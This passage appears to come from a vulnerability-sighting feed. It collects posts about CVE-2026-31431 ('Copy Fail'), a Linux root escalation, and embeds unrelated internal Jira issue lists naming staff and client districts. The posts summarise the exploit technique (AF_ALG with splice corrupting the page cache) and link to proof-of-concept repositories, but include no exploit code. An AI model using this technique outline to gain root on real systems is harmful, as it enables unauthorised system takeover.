Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (27d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1555\n                      [Houston-1.780] 500 internal server error for \"search\"call inside stop module\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 06, 2026 at 10:12 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-06T22:12:42.000000Z"}, {"uuid": "0e39e51d-dae5-4877-9317-9d6de9e3ba98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ml7sgjqeef2d", "content": "Linux\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-31431\u3001Copy Fail)  #IPA (May 1)\n\nwww.ipa.go.jp/security/sec...", "creation_timestamp": "2026-05-06T22:58:10.527487Z"}, {"uuid": "19812639-2563-4147-a1fd-d22081ccfb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ml7zatjnfv2f", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (May 1)\n\nCVE-2026-31431 Linux\u30ab\u30fc\u30cd\u30eb\u306b\u304a\u3051\u308b\u30b9\u30d5\u30a3\u30a2\u9593\u306e\u4e0d\u9069\u5207\u306a\u30ea\u30bd\u30fc\u30b9\u8ee2\u9001\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-05-07T01:00:15.466984Z"}, {"uuid": "96c2d2a3-934d-41f3-96b6-9e4eb24df34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/artstradamagazine.bsky.social/post/3mla3gkzpik2v", "content": "CVE-2026-31431, commonly known as Copy Fail, is a vulnerability in the Linux kernel that allows unauthorized privilege escalation,[1][2] disclosed by security firm Theori to the public on 29 April 2026 and to the Linux kernel security team five weeks prior\nen.wikipedia.org/wiki/Copy_Fail", "creation_timestamp": "2026-05-07T01:39:18.069183Z"}, {"uuid": "ff121eef-9222-45d5-8af3-36bd72b70573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mla5x5pmkve2", "content": "Linux Kernel Vulnerability \u201cCopy Fail\u201d (CVE-2026-31431) \u2014 Immediate Action Required bb77: By now, most distributions should offer fixed kernel versions. Unfortunately, Ubuntu has not yet rele...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-07T02:24:20.826807Z"}, {"uuid": "ee2947b7-19c8-45d7-8b7b-02ec866169a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mla6bbmmbf2m", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 516 interactions\nCVE-2026-41940: 123 interactions\nCVE-2025-31431: 29 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0300: 19 interactions\nCVE-2026-31431: 8 interactions\nCVE-2026-23918: 5 interactions\n", "creation_timestamp": "2026-05-07T02:29:59.211406Z"}, {"uuid": "0ed56e38-c11f-4210-b109-e4068d12018e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mlak2sysda2m", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-07T06:01:07.477112Z"}, {"uuid": "7c62faa7-9a87-4bc5-bca9-51454af6c1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mlapldvvpad2", "content": "Linux Kernel Vulnerability \u201cCopy Fail\u201d (CVE-2026-31431) \u2014 Immediate Action Required They have released midigations for all affected versions on April 30: Fixes available for CVE-2026-31431 (C...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-07T07:39:55.181572Z"}, {"uuid": "cddf4091-d7a4-4935-801b-b271941d1ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mlb64luoey26", "content": "A nine-year Linux kernel bug is being actively exploited right now. CVE-2026-31431 (Copy Fail) gives any unprivileged local user a root shell. Works every time. Leaves no trace on disk. Patch status + fixes for Proxmox, Debian, and more in the video.\n\n\u27a1\ufe0f\u27a1\ufe0f Watch Here: https://youtu.be/LwqEUiuXmbg", "creation_timestamp": "2026-05-07T12:00:02.412568Z"}, {"uuid": "6dac81a0-32b1-4f72-a52d-86ecdbd314d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbgryvtcx2q", "content": "\ud83d\udd17 CVE : CVE-2024-41073, CVE-2024-53216, CVE-2025-37861, CVE-2025-40252, CVE-2025-68724, CVE-2025-68741, CVE-2025-71238, CVE-2026-23097, CVE-2026-23136, CVE-2026-23191, CVE-2026-23193, CVE-2026-23243, CVE-2026-23270, CVE-2026-23401, CVE-2026-31402, CVE-2026-31419, CVE-2026-31431, CVE-2026-31532", "creation_timestamp": "2026-05-07T14:35:12.852611Z"}, {"uuid": "4baeceee-0088-4808-8275-37739f0ced5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rockylinux.org/post/3mlbqtqh66r2c", "content": "CopyFail (CVE-2026-31431) is serious. Patches are out now for Rocky Linux 8.10, 9.8, and 10.1. One command and a reboot gets you covered. Full details in the blog. Stay patched. \ud83d\udc27\n\nsudo dnf --refresh update 'kernel*'\n\n#RockyLinux #Linux #LinuxSecurity", "creation_timestamp": "2026-05-07T17:35:06.437734Z"}, {"uuid": "28ea2d62-3332-4291-94ae-621ffa7b617d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mlbsad6t4v22", "content": "ICYMI: CVE-2026-31431 (Copy Fail) gives any unprivileged local user a ROOT SHELL. Works every time. Leaves no trace on disk. Patch status + fixes for Proxmox, Debian, and more.\n\n\u27a1\ufe0f\u27a1\ufe0f Watch Here: https://youtu.be/LwqEUiuXmbg", "creation_timestamp": "2026-05-07T18:00:02.446570Z"}, {"uuid": "feba79d0-51f5-4bec-b77d-85a3b7372870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83238", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy_Fail2-Electric_Boogaloo\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xdeadbeefnetwork\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 15:41:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail 2 \u2014 Electric Boogaloo: unpriv LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW page-cache write (sibling of CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T16:00:05.000000Z"}, {"uuid": "87089bda-4cd1-4400-a677-1561249cb174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/beitmenotyou.online/post/3mlbse46iyk2k", "content": "Cloudflare shared how it handled Copy Fail, the Linux flaw CVE-2026-31431.\n\nThe lesson: patch quickly, monitor behaviour, and use only official distro updates.\n\nWhat is your kernel update routine?\n\nblog.cloudflare.com/copy-fail-li...\n\n#Linux #Security", "creation_timestamp": "2026-05-07T18:02:13.084572Z"}, {"uuid": "c117049a-41e7-4a5f-b5aa-be304dfb5e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116535252477878449", "content": "CopyFail didn't affect Debian 12, and it has been said that this was not intentional, but rather due to an imcomplete backport\nInterestingly, Debian 12 is also seemingly unaffected by Dirty Frag as well.  (But Debian 11 and 13 are affected)\nI'm curious if the Debian 12 behavior is by accident.  \ud83e\udd14", "creation_timestamp": "2026-05-07T20:47:18.552036Z"}, {"uuid": "2ca3c728-48b5-453a-9bda-41d6704cfde4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/83256", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a fix-cve-2026-3143\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ClimbMunchkin\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 19:58:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u0414\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (copy fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T20:00:04.000000Z"}, {"uuid": "7a6291b6-aac1-430b-8236-544a70b5f3d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlc64agrvk2k", "content": "\u30b3\u30d4\u30fc\u5931\u6557: \u65b0\u3057\u3044LINUX\u30d0\u30b0\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306e\u7834\u640d\u306b\u3088\u308aROOT\u3092\u6709\u52b9\u306b\u3057\u307e\u3059\n\nXint Code \u306e\u7814\u7a76\u8005\u306f\u3001\u91cd\u5927\u306a Linux \u306e\u6b20\u9665\u304c CVE-2026-31431\uff08CVSS \u30b9\u30b3\u30a2 7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001Copy Fail \u3068\u547c\u3070\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002\u30ed\u30fc\u30ab\u30eb\u3067\u7279\u6a29\u306e\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u304c\u3001\u4efb\u610f\u306e\u53ef\u8aad\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306b4\u3064\u306e\u5236\u5fa1\u3055\u308c\u305f\u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u3092\u53ef\u80fd\u306b\u3057\u3001\u4e3b\u8981\u306a\u914d\u5e03\u7269\u3067\u30eb\u30fc\u30c8\u3078\u306e\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002\n\n\u3053\u306e\u30d0\u30b0\u306f\u3001AF_ALG \u3068 splice() \u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u3001\u4efb\u610f\u306e\u8aad\u307f\u53d6\u308a\u53ef\u80fd\u306a\u30d5\u30a1\u30a4\u30eb\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306b 4 \u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u2026", "creation_timestamp": "2026-05-07T21:32:32.454614Z"}, {"uuid": "79c60e31-f0b3-414a-9055-860d59be1fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/vndmtrx/24befcc16625aca6d6a7e95e1929fb16", "content": "", "creation_timestamp": "2026-05-07T22:18:28.000000Z"}, {"uuid": "20e274e0-9e03-4e4a-848d-00d72770b0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/d2370436ce245f64679c196e13b420c3", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 07, 2026 at 10:33 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n6\n\nIM \u2014 Incident Management\n2\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                6 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 2\n                    \n\n                      DO-2057\n                      Hernando, FL - Please update Talend columns for Phone and Email \n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2053\n                      Thrive, AB - Please update ASCI\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \nTask 4\n                    \n\n                      DO-2056\n                      Tangipahoa, LA - Please Add \"DIV\" Program Code Back Into Import\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      IN PROGRESS\n                    \n                    \n\n                      DO-2055\n                      Montour-PA - Set up additional ASDI for sandbox 2627sy\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2054\n                      Setup 2TIERPLAY ASDI for Cambridge, MA\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2052\n                      PP is Grafana stuck, or working and just delayed or not updating? \n                      Eric Fischl\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      IN PROGRESS\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 1\n                    \n\n                      IM-7577\n                      I am unable to see any of the buses that had tablets installed yesterday in parent portal lite. Parents are receiving a message that \"no vehicle is currently assigned to this route\"\n                      Brandon Donnelson\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Blocker\n                    \nTask 1\n                    \n\n                      IM-7578\n                      East, China - Students Auto-Assigning to the Wrong Stop\n                      \u2014\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n0\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n\n\n\nDO \u2014 Edulog DevOps\n9\n\nIM \u2014 Incident Management\n6\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                9 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login 